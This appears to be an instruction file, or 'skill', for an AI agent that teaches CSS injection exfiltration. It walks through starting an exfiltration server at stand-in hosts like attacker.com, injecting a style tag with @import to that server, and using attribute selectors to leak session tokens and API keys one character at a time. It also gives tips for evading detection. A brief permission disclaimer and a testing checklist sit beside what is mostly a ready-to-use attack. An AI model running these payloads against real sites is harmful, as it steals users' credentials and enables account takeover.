CSS Injection Exfiltration
This skill teaches you how to perform CSS injection attacks to exfiltrate data from HTML input fields. CSS injection is a powerful technique for extracting secrets, tokens, or any data stored in input field values when you can inject CSS into a page.
How It Works
CSS injection exfiltration works by:
- Injecting CSS into the target page via a style tag or CSS file
- Using CSS selectors to match input field values (prefix/suffix matching)
- Triggering @import requests to your controlled server when selectors match
- Reconstructing the secret character by character through iterative requests
The technique uses CSS attribute selectors like value^="prefix" and value$="suffix" to test if an input's value starts or ends with specific characters. When a selector matches, it triggers a CSS url() property that makes a request to your server, leaking the matched character.
Setup
1. Start the Exfiltration Server
Use the bundled script to start your exfiltration server:
node scripts/css-exfil-server.js [port] [hostname]
Parameters:
port: Port to listen on (default: 5001)hostname: Your server address (default: localhost:5001)
Example:
node scripts/css-exfil-server.js 5001 attacker.example.com
2. Inject the Initial CSS
Inject this CSS into the target page (via XSS, template injection, or any CSS injection vector):
<style>
@import url("http://YOUR_SERVER:5001/start?");
</style>
Replace YOUR_SERVER:5001 with your actual server address.
3. The Server Handles the Rest
Once the initial @import is triggered, the server automatically:
- Generates CSS payloads to test each hex character (0-9, a-f)
- Receives leak callbacks when characters match
- Reconstructs the secret character by character
- Stops when the full secret is extracted
Understanding the Attack Flow
Phase 1: Initialization
Target Page → @import → Your Server /start
Your Server → Returns CSS with character tests
Phase 2: Character Testing
For each position in the secret:
- Test suffixes - CSS checks if value ends with each hex char
- Test prefixes - CSS checks if value starts with each hex char
- Server receives callbacks - When selectors match, browser requests
/leak?pre=Xor/leak?post=Y - Server waits for both - Needs prefix AND suffix match to confirm character
- Generate next payload - Move to next character position
Phase 3: Completion
When the full secret is reconstructed, the server receives /end?token=SECRET and stops.
CSS Selector Techniques
Prefix Matching
input[value^="abc"] { /* matches if value starts with "abc" */ }
Suffix Matching
input[value$="xyz"] { /* matches if value ends with "xyz" */ }
Exact Matching
input[value="exact"] { /* matches if value equals "exact" */ }
Character Class Testing
input[value$="0"], input[value$="1"], input[value$="2"] { /* test multiple */ }
Practical Examples
Example 1: Extracting a Session Token
Target HTML:
<input type="hidden" value="a1b2c3d4" name="session" />
Attack:
- Start server:
node scripts/css-exfil-server.js 5001 attacker.com - Inject:
<style>@import url("http://attacker.com:5001/start?");</style> - Server output:
[+] END: a1b2c3d4
Example 2: Extracting API Keys
Target HTML:
<input type="text" value="sk_live_abc123xyz" />
Attack:
- Start server on your domain
- Inject CSS via any injection point
- Server reconstructs the full key
Example 3: Nested Input Fields
The attack works even with deeply nested inputs:
<div><div><div><div><input value="secret" /></div></div></div></div>
The server automatically handles nesting by adding div selectors for each position.
Server Output Interpretation
[+] Server is listening on 5001
...pre-payload: a
...post-payload: 1b2c3d4
req: /start?
leak: waiting others...
leak: waiting others...
req: /leak?pre=a
req: /leak?post=1b2c3d4
[+] END: a1b2c3d4
pre-payload: Characters confirmed at the start of the secretpost-payload: Characters confirmed at the end of the secretEND: Full secret extracted
Limitations and Considerations
Works Best With:
- Hex strings (0-9, a-f)
- Known character sets
- Input fields with accessible values
- Pages where CSS can be injected
May Not Work With:
- Encrypted or hashed values
- Very long secrets (browser may timeout)
- Input fields with
readonlyordisabledattributes (sometimes) - CSP that blocks external CSS imports
Browser Compatibility:
- Works in most modern browsers
- Some browsers may block mixed content (HTTP CSS on HTTPS page)
- CORS restrictions may apply
Advanced Techniques
1. Character Set Customization
Modify the server to test different character sets:
// In css-exfil-server.js, change the character array
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, "a", "b", "c", "d", "e", "f"]
// To:
["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"]
2. Multiple Input Fields
The attack can target multiple inputs by adjusting selectors:
input[name="session"][value^="a"] { /* specific input */ }
3. Rate Limiting
Add delays between requests to avoid detection:
// In css-exfil-server.js, add setTimeout before genResponse
setTimeout(() => genResponse(response), 1000);
Security Testing Checklist
When testing for CSS injection vulnerabilities:
- Identify CSS injection points (style tags, CSS files, template variables)
- Check if input fields contain sensitive data
- Verify CSP allows external CSS imports
- Test with the exfiltration server
- Document findings and affected endpoints
Legal and Ethical Considerations
Only use this technique on systems you own or have explicit permission to test. CSS injection exfiltration is a powerful attack that can extract sensitive data including:
- Session tokens
- API keys
- Passwords (if stored in inputs)
- Personal information
- Authentication credentials
Always obtain proper authorization before testing.
Troubleshooting
Server not receiving requests
- Check firewall settings
- Verify the injected CSS is actually loaded
- Ensure the server address is accessible from the target
- Check browser console for CSS loading errors
Partial extraction
- Some characters may not match (non-hex characters)
- Adjust the character set in the server
- Check if the input value changes dynamically
Slow extraction
- Browser may be rate-limiting requests
- Add delays in the server
- Check network latency